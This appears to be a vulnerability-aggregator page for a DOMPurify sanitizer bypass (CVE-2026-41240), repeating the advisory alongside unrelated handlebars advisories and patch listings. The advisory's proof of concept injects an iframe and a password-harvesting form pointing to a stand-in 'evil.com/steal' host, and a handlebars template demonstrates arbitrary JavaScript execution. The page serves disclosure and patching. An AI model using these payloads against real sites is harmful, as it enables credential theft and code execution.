CVE-2026-41240
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.0
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
CVE-2026-41240- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-183, CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-25238
6.0
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
EUVD-2026-25238- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2cf5-4w76-r9qv
7.3
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
The following template can be used to demonstrate the vulnerability:
{{#with split as |a|}}
{{pop (push "alert('Vulnerable Handlebars JS');")}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 a)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}```
## Recommendation
Upgrade to version 3.0.8, 4.5.2 or later.
- Record
GHSA-2cf5-4w76-r9qv- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-h7mw-gpvr-xq4m
6.0
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
- Record
GHSA-h7mw-gpvr-xq4m- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-79, CWE-183
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q42p-pg8m-cqh6
7.3
Prototype Pollution in handlebars
Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.
Recommendation
For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.
- Record
GHSA-q42p-pg8m-cqh6- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-471
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g9r4-xpmj-mj65 No score
Prototype Pollution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-g9r4-xpmj-mj65- Weakness
- CWE-1321
- Updated
- 2026-11-02
Show 42 moreShow less
GitHub AdvisoriesGHSA-q2c6-c6pm-g3gh No score
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
NVD
6.0
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
CVE-2026-41240- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79, CWE-183
- Updated
- 2026-11-02
OSV
6.0
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
CVE-2026-41240- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-183, CWE-79
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-41240
6.1
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
DEBIAN-CVE-2026-41240- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVGHSA-2cf5-4w76-r9qv
7.3
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
The following template can be used to demonstrate the vulnerability:
{{#with split as |a|}}
{{pop (push "alert('Vulnerable Handlebars JS');")}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 a)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}```
## Recommendation
Upgrade to version 3.0.8, 4.5.2 or later.
- Record
GHSA-2cf5-4w76-r9qv- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-h7mw-gpvr-xq4m
6.0
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
- Record
GHSA-h7mw-gpvr-xq4m- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-183, CWE-79
- Updated
- 2026-11-02
OSVGHSA-q42p-pg8m-cqh6
7.3
Prototype Pollution in handlebars
Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.
Recommendation
For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.
- Record
GHSA-q42p-pg8m-cqh6- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-471
- Updated
- 2026-11-02
OSVRHSA-2026:34160
8.1
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:34160- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-41240
6.0
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
- Record
UBUNTU-CVE-2026-41240- CVSS 4.0
- 6.0 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1774743817 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.
- Record
CLSA-2026-1774743817- Updated
- 2026-11-02
OSVCLSA-2026-1774743830 No score
TuxCare security update for handlebars (3 CVEs)
TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.
- Record
CLSA-2026-1774743830- Updated
- 2026-11-02
OSVCLSA-2026-1778546719 No score
TuxCare security update for dompurify (6 CVEs)
TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.6-tuxcare.3.
- Record
CLSA-2026-1778546719- Updated
- 2026-11-02
OSVCLSA-2026-1778805976 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.
- Record
CLSA-2026-1778805976- Updated
- 2026-11-02
OSVCLSA-2026-1780274966 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.
- Record
CLSA-2026-1780274966- Updated
- 2026-11-02
OSVCLSA-2026-1780274972 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.
- Record
CLSA-2026-1780274972- Updated
- 2026-11-02
OSVCLSA-2026-1780361389 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.
- Record
CLSA-2026-1780361389- Updated
- 2026-11-02
OSVCLSA-2026-1786636600 No score
TuxCare security update for dompurify (16 CVEs)
TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.
- Record
CLSA-2026-1786636600- Updated
- 2026-11-02
OSVCLSA-2026-1786636721 No score
TuxCare security update for dompurify (14 CVEs)
TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.
- Record
CLSA-2026-1786636721- Updated
- 2026-11-02
OSVCLSA-2026-1786731948 No score
TuxCare security update for dompurify (34 CVEs)
TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.
- Record
CLSA-2026-1786731948- Updated
- 2026-11-02
OSVCLSA-2026-1792424339 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.0.8-tuxcare.3.
- Record
CLSA-2026-1792424339- Updated
- 2026-11-02
OSVCLSA-2026-1792424449 No score
TuxCare security update for dompurify (12 CVEs)
TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.3.3-tuxcare.3.
- Record
CLSA-2026-1792424449- Updated
- 2026-11-05
OSVCLSA-2026-1792424561 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.3.3-tuxcare.3.
- Record
CLSA-2026-1792424561- Updated
- 2026-11-02
OSVCLSA-2026-1792424669 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.2.6-tuxcare.3.
- Record
CLSA-2026-1792424669- Updated
- 2026-11-02
OSVCLSA-2026-1792424891 No score
TuxCare security update for dompurify (13 CVEs)
TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 2.3.10-tuxcare.3.
- Record
CLSA-2026-1792424891- Updated
- 2026-11-02
OSVCLSA-2026-1792486117 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.3.
- Record
CLSA-2026-1792486117- Updated
- 2026-11-02
OSVCLSA-2026-1792486837 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.2-tuxcare.3.
- Record
CLSA-2026-1792486837- Updated
- 2026-11-02
OSVCLSA-2026-1792495646 No score
TuxCare security update for dompurify (8 CVEs)
TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.0.8-tuxcare.3.
- Record
CLSA-2026-1792495646- Updated
- 2026-11-02
OSVCLSA-2026-1792496766 No score
TuxCare security update for dompurify (9 CVEs)
TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.9-tuxcare.3.
- Record
CLSA-2026-1792496766- Updated
- 2026-11-02
OSVCLSA-2026-1792496994 No score
TuxCare security update for dompurify (7 CVEs)
TuxCare rebuilt dompurify to address 7 CVEs. Fixed in 3.0.11-tuxcare.3.
- Record
CLSA-2026-1792496994- Updated
- 2026-11-02
OSVCLSA-2026-1792498640 No score
TuxCare security update for dompurify (6 CVEs)
TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.1.0-tuxcare.3.
- Record
CLSA-2026-1792498640- Updated
- 2026-11-02
OSVCLSA-2026-1792593858 No score
TuxCare security update for dompurify (8 CVEs)
TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.3-tuxcare.3.
- Record
CLSA-2026-1792593858- Updated
- 2026-11-02
OSVCLSA-2026-1792593965 No score
TuxCare security update for dompurify (10 CVEs)
TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.1.2-tuxcare.3.
- Record
CLSA-2026-1792593965- Updated
- 2026-11-02
OSVCLSA-2026-1792594075 No score
TuxCare security update for dompurify (11 CVEs)
TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.1-tuxcare.3.
- Record
CLSA-2026-1792594075- Updated
- 2026-11-02
OSVCLSA-2026-1792594185 No score
TuxCare security update for dompurify (8 CVEs)
TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.4-tuxcare.3.
- Record
CLSA-2026-1792594185- Updated
- 2026-11-02
OSVGHSA-g9r4-xpmj-mj65 No score
Prototype Pollution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-g9r4-xpmj-mj65- Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-q2c6-c6pm-g3gh No score
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10888-1 No score
argocd-cli-3.4.3-1.1 on GA media
These are all security issues fixed in the argocd-cli-3.4.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10888-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-41240 No score
CVE-2026-41240 in dompurify - Patched by Root
Root has patched CVE-2026-41240 in the dompurify package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-41240- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-2cf5-4w76-r9qv No score
GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root
Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-g9r4-xpmj-mj65 No score
GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root
Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh No score
GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root
Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-q42p-pg8m-cqh6 No score
GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root
Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
handlebarsnpm |
before 3.0.8 | 3.0.8 |
handlebarsnpm |
4.0.0 up to 4.5.2 | 4.5.2 |
handlebarsnpm |
4.0.0 up to 4.5.3 | 4.5.3 |
dompurifynpm |
before 3.4.0 | 3.4.0 |
handlebarsnpm |
4.1.0 up to 4.1.2 | 4.1.2 |
handlebarsnpm |
4.0.0 up to 4.0.14 | 4.0.14 |
handlebarsnpm |
before 3.0.7 | 3.0.7 |
handlebarsTuxCare:npm |
1.3.0-tuxcare.0 up to 1.3.0-tuxcare.1, plus listed versions 1.3.0 |
1.3.0-tuxcare.1 |
handlebarsTuxCare:npm |
1.0.12-tuxcare.0 up to 1.0.12-tuxcare.2, plus listed versions 1.0.121.0.12-tuxcare.1 |
1.0.12-tuxcare.2 |
dompurifyTuxCare:npm From an advisory covering 3 CVEs |
3.1.6-tuxcare.0 up to 3.1.6-tuxcare.3, plus listed versions 3.1.63.1.6-tuxcare.13.1.6-tuxcare.2 |
3.1.6-tuxcare.3 |
Show 49 moreShow less
| Package | Affected | Fixed |
|---|---|---|
dompurifyTuxCare:npm From an advisory covering 6 CVEs |
3.2.3-tuxcare.0 up to 3.2.3-tuxcare.1, plus listed versions 3.2.3 |
3.2.3-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 6 CVEs |
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.1, plus listed versions 3.0.3 |
3.0.3-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 5 CVEs |
2.4.0-tuxcare.0 up to 2.4.0-tuxcare.1, plus listed versions 2.4.0 |
2.4.0-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 5 CVEs |
2.4.7-tuxcare.0 up to 2.4.7-tuxcare.1, plus listed versions 2.4.7 |
2.4.7-tuxcare.1 |
dompurifyTuxCare:npm From an advisory covering 10 CVEs |
2.0.8-tuxcare.0 up to 2.0.8-tuxcare.3, plus listed versions 2.0.82.0.8-tuxcare.12.0.8-tuxcare.2 |
2.0.8-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 12 CVEs |
2.3.3-tuxcare.0 up to 2.3.3-tuxcare.3, plus listed versions 2.3.32.3.3-tuxcare.12.3.3-tuxcare.2 |
2.3.3-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 9 CVEs |
3.3.3-tuxcare.0 up to 3.3.3-tuxcare.3, plus listed versions 3.3.33.3.3-tuxcare.13.3.3-tuxcare.2 |
3.3.3-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 9 CVEs |
3.2.6-tuxcare.0 up to 3.2.6-tuxcare.3, plus listed versions 3.2.63.2.6-tuxcare.13.2.6-tuxcare.2 |
3.2.6-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 13 CVEs |
2.3.10-tuxcare.0 up to 2.3.10-tuxcare.3, plus listed versions 2.3.102.3.10-tuxcare.12.3.10-tuxcare.2 |
2.3.10-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 10 CVEs |
3.0.1-tuxcare.0 up to 3.0.1-tuxcare.3, plus listed versions 3.0.13.0.1-tuxcare.13.0.1-tuxcare.2 |
3.0.1-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 10 CVEs |
3.0.2-tuxcare.0 up to 3.0.2-tuxcare.3, plus listed versions 3.0.23.0.2-tuxcare.13.0.2-tuxcare.2 |
3.0.2-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 8 CVEs |
3.0.8-tuxcare.0 up to 3.0.8-tuxcare.3, plus listed versions 3.0.83.0.8-tuxcare.13.0.8-tuxcare.2 |
3.0.8-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 9 CVEs |
3.0.9-tuxcare.0 up to 3.0.9-tuxcare.3, plus listed versions 3.0.93.0.9-tuxcare.13.0.9-tuxcare.2 |
3.0.9-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 7 CVEs |
3.0.11-tuxcare.0 up to 3.0.11-tuxcare.3, plus listed versions 3.0.113.0.11-tuxcare.13.0.11-tuxcare.2 |
3.0.11-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 6 CVEs |
3.1.0-tuxcare.0 up to 3.1.0-tuxcare.3, plus listed versions 3.1.03.1.0-tuxcare.13.1.0-tuxcare.2 |
3.1.0-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 8 CVEs |
3.1.3-tuxcare.0 up to 3.1.3-tuxcare.3, plus listed versions 3.1.33.1.3-tuxcare.13.1.3-tuxcare.2 |
3.1.3-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 10 CVEs |
3.1.2-tuxcare.0 up to 3.1.2-tuxcare.3, plus listed versions 3.1.23.1.2-tuxcare.13.1.2-tuxcare.2 |
3.1.2-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 11 CVEs |
3.1.1-tuxcare.0 up to 3.1.1-tuxcare.3, plus listed versions 3.1.13.1.1-tuxcare.13.1.1-tuxcare.2 |
3.1.1-tuxcare.3 |
dompurifyTuxCare:npm From an advisory covering 8 CVEs |
3.1.4-tuxcare.0 up to 3.1.4-tuxcare.3, plus listed versions 3.1.43.1.4-tuxcare.13.1.4-tuxcare.2 |
3.1.4-tuxcare.3 |
node-dompurifyDebian:12 |
